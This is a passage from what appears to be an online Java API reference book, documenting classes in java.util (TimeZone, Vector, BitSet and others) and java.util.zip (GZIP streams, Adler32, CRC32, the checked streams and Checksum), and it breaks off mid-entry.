A TimeZone that represents the local time zone.

Description

This method returns the default TimeZone object for the local system.

getTimeZone

public static synchronized TimeZone getTimeZone(String ID)

Parameters

ID

The ID of a time zone.

Returns

A TimeZone that represents the time zone with the given ID.

Description

This method returns the TimeZone object that corresponds to the time zone with the given ID.

setDefault

public static synchronized void setDefault(TimeZone zone)

Parameters

zone

The new default time zone.

Description

This method sets the TimeZone that is returned by getDefault().

Instance Methods

clone

public Object clone()

Returns

A copy of this TimeZone.

Overrides

Object.clone()

Description

This method creates a copy of this TimeZone and returns it.

getID

public String getID()

Returns

The ID of this TimeZone.

Description

This method returns the ID string of this TimeZone.

getOffset

 public abstract int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis)

Parameters

era

The era.

year

The year.

month

The month.

day

The day.

dayOfWeek

The day of the week.

millis

The time of day in milliseconds.

Returns

An offset from GMT, in milliseconds.

Description

This method calculates an offset from GMT for the given date for this TimeZone. In other words, the offset takes daylight savings time into account. The return value should be added to GMT to get local time.

getRawOffset

public abstract int getRawOffset()

Returns

An offset from GMT, in milliseconds.

Description

This method returns the raw offset from GMT for this TimeZone. In other words, the offset does not take daylight savings time into account.

inDaylightTime

public abstract boolean isDaylightTime(Date date)

Parameters

date

The date to be tested.

Returns

true if the given date is between the start and end of daylight savings time for this TimeZone; false otherwise.

Description

This method returns a boolean value that indicates if the given date is in daylight savings time for this TimeZone.

setID

public void setID(String ID)

Parameters

ID

The new time zone ID.

Description

This method sets the ID of this TimeZone.

setRawOffset

public abstract void setRawOffset(int offsetMillis)

Parameters

offsetMillis

The new raw offset from GMT, in milliseconds.

Description

This method is used to set the raw offset value for this TimeZone.

useDaylightTime

public abstract boolean useDaylightTime()

Returns

true if this TimeZone uses daylight savings time; false otherwise.

Description

This method returns a boolean value that indicates whether or not this TimeZone uses daylight savings time.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Calendar, Cloneable, GregorianCalendar, Locale, Serializable, SimpleTimeZone

Previous | Home | Next
StringTokenizer | Book Index | TooManyListenersException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] TooManyListenersException

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

TooManyListenersException

Name

TooManyListenersException

Synopsis

Class Name:

java.util.TooManyListenersException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A TooManyListenersException is thrown to indicate that more than one listener is registered with a unicast event source. Normally, an event source multicasts to all registered listeners. In some special cases, however, an event source is unicast, meaning it only sends events to a single listener. This exception is thrown if more than one listener tries to register.

Class Summary

public class java.util.TooManyListenersException
             extends java.lang.Exception {
  // Constructors
  public TooManyListenersException();
  public TooManyListenersException(String s);
}

Constructors

TooManyListenersException

public TooManyListenersException()

Description

This constructor creates aTooManyListenersException with no associated detail message

public TooManyListenersException(String s)

Parameters

s

The detail message.

Description

This constructor creates a TooManyListenersException with the specified detail message

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

EventObject, EventListener, Exception

Previous | Home | Next
TimeZone | Book Index | Vector
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Vector

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Vector

Name

Vector

Synopsis

Class Name:

java.util.Vector

Superclass:

java.lang.Object

Immediate Subclasses:

java.util.Stack

Interfaces Implemented:

java.io.Serializable, java.lang.Cloneable

Availability:

JDK 1.0 or later

Description

The Vector class implements a variable-length array that can hold any kind of object. Like an array, the elements in a Vector are accessed with an integer index. However, unlike an array, the size of a Vector can grow and shrink as needed to accommodate a changing number of objects. Vector provides methods to add and remove elements, as well as ways to search for objects in a Vector and iterate through all of the objects.

The initial capacity of a Vector specifies how many objects it can contain before more space must be allocated. The capacity increment specifies how much more space is allocated each time the Vector needs to increase its capacity. You can fine-tune the performance of a Vector by adjusting the initial capacity and capacity increment.

Class Summary

public class java.util.Vector extends java.lang.Object
             implements java.io.Serializable, java.lang.Cloneable {
  // Variables
  protected int capacityIncrement;
  protected int elementCount;
  protected Object[] elementData;
  // Constructors
  public Vector();
  public Vector(int initialCapacity);
  public Vector(int initialCapacity, int capacityIncrement);
  // Instance Methods
  public final synchronized void addElement(Object obj);
  public final int capacity();
  public synchronized Object clone();
  public final boolean contains(Object elem);
  public final synchronized void copyInto(Object[] anArray);
  public final synchronized Object elementAt(int index);
  public final synchronized Enumeration elements();
  public final synchronized void ensureCapacity(int minCapacity);
  public final synchronized Object firstElement();
  public final int indexOf(Object elem);
  public final synchronized int indexOf(Object elem, int index);
  public final synchronized void insertElementAt(Object obj, int index);
  public final boolean isEmpty();
  public final synchronized Object lastElement();
  public final int lastIndexOf(Object elem);
  public final synchronized int lastIndexOf(Object elem, int index);
  public final synchronized void removeAllElements();
  public final synchronized boolean removeElement(Object obj);
  public final synchronized void removeElementAt(int index);
  public final synchronized void setElementAt(Object obj, int index);
  public final synchronized void setSize(int newSize);
  public final int size();
  public final synchronized String toString();
  public final synchronized void trimToSize();
}

Variables

capacityIncrement

protected int capacityIncrement

Description

The amount by which the internal array grows when more space is needed. If the value is 0, the internal array doubles in size when more space is needed.

elementCount

protected int elementCount

Description

The count of how many objects are contained in this Vector.

elementData

protected Object[] elementData

Description

The array that holds the contents of this Vector.

Constructors

Vector

public Vector()

Description

This constructor creates an empty Vector with the default capacity of 10 and the default capacity increment of 0.

public Vector(int initialCapacity)

Parameters

initialCapacity

The initial capacity of the Vector.

Description

This constructor creates an empty Vector with the given capacity and the default capacity increment of 0.

public Vector(int initialCapacity, int capacityIncrement)

Parameters

initialCapacity

The initial capacity of the Vector.

CapacityIncrement

The amount to increase the capacity when more space is needed.

Description

This constructor creates an empty Vector with the given capacity and capacity increment.

Instance Methods

addElement

public final synchronized void addElement(Object obj)

Parameters

obj

The object to be added.

Description

This method adds the given object to this Vector as its last element and increases its size by 1. The capacity of the Vector is increased if its size becomes greater than its capacity. Any kind of object can be added to a Vector.

capacity

public final int capacity()

Returns

The capacity of this Vector.

Description

This method returns the size of the internal array of this Vector.

clone

public synchronized Object clone()

Returns

A copy of this Vector.

Overrides

Object.clone()

Description

This method creates a copy of this Vector and returns it.

contains

public final boolean contains(Object elem)

Parameters

elem

The object to be found.

Returns

true if the given object is contained in this Vector; false otherwise.

Description

This method determines whether or not the given object is contained in this Vector.

copyInto

public final synchronized void copyInto(Object[] anArray)

Parameters

anArray

The array to be filled.

Throws

ArrayIndexOutOfBoundsException

If the given array is too small to hold all of the objects in this Vector.

Description

This method copies the object references in this Vector to the given array.

elementAt

public final synchronized Object elementAt(int index)

Parameters

index

The index of the object to be returned.

Returns

The object at the position given by index.

Throws

ArrayIndexOutOfBoundsException

If index is less than zero or greater than the size of this Vector.

Description

This method returns the object at the given index in this Vector.

elements

public final synchronized Enumeration elements()

Returns

The objects in this Vector as an Enumeration.

Description

This method returns an Enumeration that iterates through the objects in this Vector.

ensureCapacity

public final synchronized void ensureCapacity(int minCapacity)

Parameters

minCapacity

The minimum new capacity.

Description

This method expands the internal array, if necessary, to make the capacity of the Vector at least minCapacity.

firstElement

public final synchronized Object firstElement()

Returns

The first object in this Vector.

Throws

NoSuchElementException

If the Vector is empty.

Description

This method returns the object at index 0 in this Vector.

indexOf

public final int indexOf(Object elem)

Parameters

elem

The object to be found.

Returns

The index of the given object or -1 if it cannot be found.

Description

This method returns the index of the first occurrence of the given object in this Vector.

public final int indexOf(Object elem, int index)

Parameters

elem

The object to be found.

index

The starting index.

Returns

The index of the next occurrence of the given object after the specified index or -1 if it cannot be found.

Description

This method returns the index of the next occurrence of the given object in this Vector after the given index.

insertElementAt

public final synchronized void insertElementAt(Object obj, int index)

Parameters

obj

The object to be inserted.

index

The index at which to insert the object.

Throws

ArrayIndexOutOfBoundsException

If index is less than zero or greater than the size of this Vector.

Description

This method inserts the given object at the given index in this Vector. Each object in the Vector with an index greater than or equal to index is shifted upward in the Vector, so that it has an index of one greater than it did previously.

isEmpty

public final boolean isEmpty()

Returns

true if there are no objects in the Vector; false otherwise.

Description

This method returns a boolean value that indicates whether or not the Vector is empty.

lastElement

public final synchronized Object lastElement()

Returns

The last object in this Vector.

Throws

NoSuchElementException

If the Vector is empty.

Description

This method returns the last object in this Vector.

lastIndexOf

public final int lastIndexOf(Object elem)

Parameters

elem

The object to be found.

Returns

The index of the given object or -1 if it cannot be found.

Description

This method returns the index of the last occurrence of the given object in this Vector.

public final synchronized int lastIndexOf(Object elem, int index)

Parameters

elem

The object to be found.

index

The starting index.

Returns

The index of the last occurrence of the given object before the specified index or -1 if it cannot be found.

Description

This method returns the index of the last occurrence of the given object in this Vector before the given index. In other words, the method searches backwards from index for the next occurrence.

removeAllElements

public final synchronized void removeAllElements()

Description

This method removes all of the objects from this Vector, but does not change its capacity or capacity increment.

removeElement

public final synchronized boolean removeElement(Object obj)

Parameters

obj

The object to be removed.

Returns

true if the given object is found and removed; false otherwise.

Description

This method searches for the first occurrence of the given object in this Vector and removes it. If the object is found, each object in the Vector with an index greater than or equal to the index of the removed object is shifted downward in the Vector, so that it has an index of one less than it did previously.

removeElementAt

public final synchronized void removeElementAt(int index)

Parameters

index

The index of the object to be removed.

Throws

ArrayIndexOutOfBoundsException

If index is less than zero or greater than the size of this Vector.

Description

This method removes the object at the given index from this Vector. Each object in the Vector with an index greater than or equal to index is shifted downward in the Vector, so that it has an index of one less than it did previously.

setElementAt

public final synchronized void setElementAt(Object obj, int index)

Parameters

obj

The object to be put in the Vector.

index

The index at which to put the object.

Throws

ArrayIndexOutOfBoundsException

If index is less than zero or greater than the size of this Vector.

Description

This method puts the given object at the given index in this Vector, replacing the object that was previously there.

setSize

public final synchronized void setSize(int newSize)

Parameters

newSize

The new size.

Description

This method sets the size (not the capacity) of this Vector. If the new size is bigger than the current size, null elements are added to the end of the Vector. If the new size is smaller than the current size, elements are discarded from index newSize to the end of the Vector.

size

public final int size()

Returns

The size of this Vector.

Description

This method returns the number of objects contained in this Vector.

toString

public final synchronized String toString()

Returns

A string that represents this Vector.

Overrides

Object.toString()

Description

This method returns a string representation of this Vector. The string includes every object that is contained in the Vector, so the string returned by toString() can be quite long.

trimToSize

public final synchronized void trimToSize()

Description

This method sets the capacity of this Vector equal to its size. You can use this method to minimize the storage space used by the Vector, but any subsequent calls to addElement() or insertElement() forces the Vector to allocate more space.

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ArrayIndexOutOfBoundsException, Cloneable, Enumeration, NoSuchElementException, Serializable, Stack

Previous | Home | Next
TooManyListenersException | Book Index | Adler32
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] The java.util Package

Java Fundamental Classes Reference

Previous Chapter 17 Next

17. The java.util Package

Contents:

Select a new section and then

The package java.util contains a number of useful classes and interfaces. Although the name of the package might imply that these are utility classes, they are really more important than that. In fact, Java depends directly on several of the classes in this package, and many programs will find these classes indispensable. The classes and interfaces in java.util include:

  • The Hashtable class for implementing hashtables, or associative arrays.

  • The Vector class, which supports variable-length arrays.

  • The Enumeration interface for iterating through a collection of elements.

  • The StringTokenizer class for parsing strings into distinct tokens separated by delimiter characters.

  • The EventObject class and the EventListener interface, which form the basis of the new AWT event model in Java 1.1.

  • The Locale class in Java 1.1, which represents a particular locale for internationalization purposes.

  • The Calendar and TimeZone classes in Java. These classes interpret the value of a Date object in the context of a particular calendar system.

  • The ResourceBundle class and its subclasses, ListResourceBundle and PropertyResourceBundle, which represent sets of localized data in Java 1.1.

Figure 17.1 shows the class hierarchy for the java.util package.

Figure 17.1: The java.util package

[Graphic: Figure 17-1]

BitSet

Name

BitSet

Synopsis

Class Name:

java.util.BitSet

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

JDK 1.0 or later

Description

The BitSet class implements a set of bits. The set grows in size as needed. Each element of a BitSet has a boolean value. When a BitSet object is created, all of the bits are set to false by default. The bits in a BitSet are indexed by nonnegative integers, starting at 0. The size of a BitSet is the number of bits that it currently contains. The BitSet class provides methods to set, clear, and retrieve the values of the individual bits in a BitSet. There are also methods to perform logical AND, OR, and XOR operations.

Class Summary

public final class java.util.BitSet extends java.lang.Object
                   implements java.lang.Cloneable, java.io.Serializable {
  // Constructors
  public BitSet();
  public BitSet(int nbits);
  // Instance Methods
  public void and(BitSet set);
  public void clear(int bit);
  public Object clone();
  public boolean equals(Object obj);
  public boolean get(int bit);
  public int hashCode();
  public void or(BitSet set);
  public void set(int bit);
  public int size();
  public String toString();
  public void xor(BitSet set);
}

Constructors

BitSet

public BitSet()

Description

This constructor creates a BitSet with a default size of 64 bits. All of the bits in the BitSet are initially set to false.

public BitSet(int nbits)

Parameters

nbits

The initial number of bits.

Description

This constructor creates a BitSet with a size of nbits. All of the bits in the BitSet are initially set to false.

Instance Methods

and

public void and(BitSet set)

Parameters

set

The BitSet to AND with this BitSet.

Description

This method computes the logical AND of this BitSet and the specified BitSet and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to only true if the bit is already true in this BitSet and the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, the extra bits in set are ignored. If the size of set is less than the size of this BitSet, the extra bits in this BitSet are set to false.

clear

public void clear(int bit)

Parameters

bit

The index of the bit to clear.

Description

This method sets the bit at the given index to false. If bit is greater than or equal to the number of bits in the BitSet, the size of the BitSet is increased so that it contains bit values. All of the additional bits are set to false.

clone

public Object clone()

Returns

A copy of this BitSet.

Overrides

Object.clone()

Description

This method creates a copy of this BitSet and returns it. In other words, the returned BitSet has the same size as this BitSet, and it has the same bits set to true.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of BitSet and it contains the same bit values as the object this method is associated with. In other words, this method compares each bit of this BitSet with the corresponding bit of obj. If any bits do not match, the method returns false. If the size of this BitSet is different than obj, the extra bits in either this BitSet or in obj must be false for this method to return true.

get

public boolean get(int bit)

Parameters

bit

The index of the bit to retrieve.

Returns

The boolean value of the bit at the given index.

Description

This method returns the value of the given bit. If bit is greater than or equal to the number of bits in the BitSet, the method returns false.

hashCode

public int hashCode()

Returns

The hashcode for this BitSet.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

or

public void or(BitSet set)

Parameters

set

The BitSet to OR with this BitSet.

Description

This method computes the logical OR of this BitSet and the specified BitSet, and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to true if the bit is already true in this BitSet or the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, this BitSet is first increased in size to accommodate the additional bits. All of the additional bits are initially set to false.

set

public void set(int bit)

Parameters

bit

The index of the bit to set.

Description

This method sets the bit at the given index to true. If bit is greater than or equal to the number of bits in the BitSet, the size of the BitSet is increased so that it contains bit values. All of the additional bits except the last one are set to false.

size

public int size()

Returns

The size of this BitSet.

Description

This method returns the size of this BitSet, which is the number of bits currently in the set.

toString

public String toString()

Returns

A string representation of this BitSet.

Overrides

Object.toString()

Description

This method returns a string representation of this BitSet. The string lists the indexes of all the bits in the BitSet that are true.

xor

public void xor(BitSet set)

Parameters

set

The BitSet to XOR with this BitSet.

Description

This method computes the logical XOR (exclusive OR) of this BitSet and the specified BitSet and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to true only if the bit is already true in this BitSet, and the corresponding bit in set is false, or if the bit is false in this BitSet and the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, this BitSet is first increased in size to accommodate the additional bits. All of the additional bits are initially set to false.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Cloneable, Serializable

Previous | Home | Next
Vector | Book Index | Calendar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] The java.util.zip Package

Java Fundamental Classes Reference

Previous Chapter 18 Next

18. The java.util.zip Package

Contents:
CheckedInputStream
CheckedOutputStream
Checksum
CRC32
DataFormatException
Deflater
DeflaterOutputStream
GZIPInputStream
GZIPOutputStream
Inflater
InflaterInputStream
ZipEntry
ZipException
ZipFile
ZipInputStream
ZipOutputStream

The package java.util.zip is new as of Java 1.1. It contains classes that provide support for general-purpose data compression and decompression using the ZLIB compression algorithms. The important classes in java.util.zip are those that provide the means to read and write data that is compatible with the popular GZIP and ZIP formats: GZIPInputStream, GZIPOutputStream, ZipInputStream, and ZipOutputStream. Figure 18.1 shows the class hierarchy for the java.util.zip package.

Figure 18.1: The java.text package

[Graphic: Figure 18-1]

It is easy to use the GZIP and ZIP classes because they subclass java.io.FilterInputStream and java.io.FilterOutputStream. For example, to decompress GZIP data, you simply create a GZIPInputStream around the input stream that represents the compressed data. As with any InputStream, you could be reading from a file, a socket, or some other data source. You can then read decompressed data by calling the read() methods of the GZIPInputStream. The following code fragment creates a GZIPInputStream that reads data from the file sample.gz :

FileInputStream inFile;
try {
    inFile = new FileInputStream("sample.gz");
} catch (IOException e) {
    System.out.println("Couldn't open file.");
    return;
}
GZIPInputStream in = new GZIPInputStream(inFile);
// Now use in.read() to get decompressed data.

Similarly, you can compress data using the GZIP format by creating a GZIPOutputStream around an output stream and using the write() methods of GZIPOutputStream. The following code fragment creates a GZIPOutputStream that writes data to the file sample.gz :

FileOutputStream outFile;
try {
    outFile = new FileOutputStream("sample.gz");
} catch (IOException e) {
    System.out.println("Couldn't open file.");
    return;
}
GZIPOutputStream out = new GZIPOutputStream(outFile);
// Now use out.write() to write compressed data.

A ZIP file, or archive, is not quite as easy to use because it may contain more than one compressed file. A ZipEntry object represents each compressed file in the archive. When you are reading from a ZipInputStream, you must first call getNextEntry() to access an entry, and then you can read decompressed data from the stream, just like with a GZIPInputStream. When you are writing data to a ZipOutputStream, use putNextEntry() before you start writing each entry in the archive. The ZipFile class is provided as a convenience for reading an archive; it allows nonsequential access to the entries in a ZIP file.

The remainder of the classes in java.util.zip exist to support the GZIP and ZIP classes. The generic Deflater and Inflater classes implement the ZLIB algorithms; they are used by DeflaterOutputStream and InflaterInputStream to decompress and compress data. The Checksum interface and the classes that implement it, Adler32 and CRC32, define algorithms that generate checksums from stream data. These checksums are used by the CheckedInputStream and CheckedOutputStream classes.

Adler32

Name

Adler32

Synopsis

Class Name:

java.util.zip.Adler32

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.util.zip.Checksum

Availability:

New as of JDK 1.1

Description

The Adler32 class implements the Checksum interface using the Adler-32 algorithm. This algorithm is significantly faster than CRC-32 and almost as reliable.

Class Summary

public class java.util.zip.Adler32 extends java.lang.Object
             implements java.util.zip.Checksum {
  // Constructors
  public Adler32();

  // Instance Methods
  public long getValue();
  public void reset();
  public void update(int b);
  public void update(byte[] b);
  public native void update(byte[] b, int off, int len);
}

Constructors

Adler32

public Adler32()

Description

This constructor creates an Adler32 object.

Instance Methods

getValue

public long getValue()

Returns

The current checksum value.

Implements

Checksum.getValue()

Description

This method returns the current value of this checksum.

reset

public void reset()

Implements

Checksum.reset()

Description

This method resets the checksum to its initial value, making it appear as though it has not been updated by any data.

update

public void update(int b)

Parameters

b

The value to be added to the data stream for the checksum calculation.

Implements

Checksum.update(int)

Description

This method adds the specified value to the data stream and updates the checksum value. The method uses only the lowest eight bits of the given int.

public void update(byte[] b)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

Description

This method adds the bytes from the specified array to the data stream and updates the checksum value.

public native void update(byte[] b, int off, int len)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

off

An offset into the byte array.

len

The number of bytes to use.

Implements

Checksum.update(byte[], int, int)

Description

This method adds len bytes from the specified array, starting at off, to the data stream and updates the checksum value.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Checksum, CRC32

Previous | Home | Next
Vector | Book Index | CheckedInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] CheckedInputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

CheckedInputStream

Name

CheckedInputStream

Synopsis

Class Name:

java.util.zip.CheckedInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The CheckedInputStream class represents an InputStream with an associated checksum. In other words, a CheckedInputStream wraps a regular input stream and computes a checksum value as data is read from the stream. The checksum can verify the integrity of the data. When you create a CheckedInputStream, you must specify an object that implements the Checksum interface that computes the checksum.

Class Summary

public class java.util.zip.CheckedInputStream
             extends java.io.FilterInputStream {
  // Constructors
  public CheckedInputStream(InputStream in, Checksum cksum);

  // Instance Methods
  public Checksum getChecksum();
  public int read();
  public int read(byte[] buf, int off, int len);
  public long skip(long n);
}

Constructors

CheckedInputStream

public CheckedInputStream(InputStream in, Checksum cksum)

Parameters

in

The underlying input stream to use as a data source.

cksum

The checksum object.

Description

This constructor creates a CheckedInputStream that reads data from the given InputStream and updates the given Checksum.

Instance Methods

getChecksum

public Checksum getChecksum()

Returns

The Checksum associated with this input stream.

Description

This method returns the Checksum object associated with this input stream.

read

public int read() throws IOException

Returns

The next byte from the stream or -1 if the end of the stream has been reached.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method reads the next byte from the underlying InputStream and then updates the checksum. The method blocks until some data is available, the end of the stream is detected, or an exception is thrown.

public int read(byte[] buf, int off, int len) throws IOException

Parameters

buf

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method reads up to len bytes from the underlying InputStream and places them into the given array starting at off. The checksum is then updated with the data that has been read. The method blocks until some data is available.

skip

public long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips over the specified number of bytes in the underlying InputStream. The skipped bytes are not calculated into the checksum.

Inherited Methods

Method | Inherited From | Method | Inherited From
available() | FilterInputStream | clone() | Object
close() | FilterInputStream | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | FilterInputStream
markSupported() | FilterInputStream | notify() | Object
notifyAll() | Object | read(byte[]) | FilterInputStream
reset() | FilterInputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Checksum, FilterInputStream, InputStream, IOException

Previous | Home | Next
Adler32 | Book Index | CheckedOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] CheckedOutputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

CheckedOutputStream

Name

CheckedOutputStream

Synopsis

Class Name:

java.util.zip.CheckedOutputStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The CheckOutputStream class represents an OutputStream with an associated checksum. In other words, a CheckedOutputStream wraps a regular output stream and computes a checksum value as data is written to the stream. The checksum can verify the integrity of the data. When you create a CheckedOutputStream, you must specify an object that implements the Checksum interface that computes the checksum.

Class Summary

public class java.util.zip.CheckedOutputStream
             extends java.io.FilterOutputStream {
  // Constructors
  public CheckedOutputStream(OutputStream out, Checksum cksum);

  // Instance Methods
  public Checksum getChecksum();
  public void write(int b);
  public void write(byte[] b, int off, int len);
}

Constructors

CheckedOutputStream

public CheckedOutputStream(OutputStream out, Checksum cksum)

Parameters

out

The underlying output stream.

cksum

The checksum object.

Description

This constructor creates a CheckedOutputStream that writes data to the given OutputStream and updates the given Checksum.

Instance Methods

getChecksum

public Checksum getChecksum()

Returns

The Checksum associated with this output stream.

Description

This method returns the Checksum object associated with this output stream.

write

public void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(int)

Description

This method writes a byte that contains the lowest eight bits of the given integer value to the underlying OutputStream and then updates the checksum.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(byte[], int, int)

Description

This method writes len bytes to the underlying OutputStream from the given array, starting at off. The checksum is then updated with the data that has been written.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterOutputStream
equals(Object) | Object | finalize() | Object
flush() | FilterOutputStream | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(byte[]) | FilterOutputStream

See Also

Checksum, FilterOutputStream, IOException, OutputStream

Previous | Home | Next
CheckedInputStream | Book Index | Checksum
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] Checksum

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

Checksum

Name

Checksum

Synopsis

Interface Name:

java.util.zip.Checksum

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

java.util.zip.Adler32, java.util.zip.CRC32

Availability:

New as of JDK 1.1

Description

The Checksum interface defines the methods that are needed to compute a checksum value for a stream of data. The checksum value can be used for error checking purposes. Note, however, that the checksum value must fit into a long value, so this interface is not suitable for cryptographic checksum algorithms.

The Adler32 and CRC32 classes implement the Checksum interface, using the Adler-32 and CRC-32 algorithms, respectively. The CheckedInputStream and CheckedOutputStream classes provide a higher-level mechanism for computing checksums on data streams.

Class Summary

public abstract interface java.util.zip.Checksum {
  // Methods
  public abstract long getValue();
  public abstract void reset();
  public abstract void update(int b);
  public abstract void update(byte[] b, int off, int len);
}

Methods

getValue

public abstract long getValue()

Returns

The current checksum value.

Description

This method returns the current value of this checksum.

reset

public abstract void reset()

Description

This method resets the checksum to its initial value, making it appear as though it has not been updated by any data.

update

public abstract void update(int b)

Parameters

b

The value to be added to the data stream for the checksum calculation.

Description

This method adds the specified value to the data stream and updates the checksum value. The method uses only the lowest eight bits of the given int.

public abstract void update(byte[] b, int off, int len)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

off

An offset into the byte array.

len

The number of bytes to use.

Description

This method adds len bytes from the specified array, starting at off, to the data stream and updates the checksum value.

See Also

Adler32, CheckedInputStream, CheckedOutputStream, CRC32

Previous | Home | Next
CheckedOutputStream | Book Index | CRC32
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] CRC32

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

CRC32

Name

CRC32

Synopsis

Class Name:

java.util.zip.CRC32

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.util.zip.Checksum

Availability:

New as of JDK 1.1

Description

The CRC32 class implements the Checksum interface using the CRC-32 algorithm. This algorithm is significantly slower than Adler-32 and only slightly more reliable.

Class Summary

public class java.util.zip.CRC32 extends java.lang.Object
             implements java.util.zip.Checksum {
  // Constructors
  public CRC32();

  // Instance Methods
  public long getValue();
  public void reset();
  public void update(int b);
  public void update(byte[] b);
  public native void update(byte[] b, int off, int len);
}

Constructors

CRC32

public CRC32()

Description

This constructor creates an CRC32 object.

Instance Methods

getValue

public long getValue()

Returns

The current checksum value.

Implements

Checksum.getValue()

Description

This method returns the current value of this checksum.

reset

public void reset()

Implements

Checksum.reset()

Description

This method resets the checksum to its initial value, making it appear as though it has not been updated by any data.

update

public void update(int b)

Parameters

b

The value to be added to the data stream for the checksum calculation.

Implements

Checksum.update(int)

Description

This method adds the specified value to the data stream and updates the checksum value. The method uses only the lowest eight bits of the given int.

public void update(byte[] b)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

Description

This method adds the bytes from the specified array to the data stream and updates the checksum value.

public native void update(byte[] b, int off, int len)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

off

An offset into the byte array.

len

The number of bytes to use.

Implements

Checksum.update(byte[], int, int)

Description

This method adds len bytes from the specified array, starting at off, to the data stream and updates the checksum value.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Adler32, Checksum

Previous | Home | Next
Checksum | Book Index | DataFormatException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] DataFormatException

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

DataFormatException

Name

DataFormatException

Synopsis

Class Name:

java.util.zip.DataFormatException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

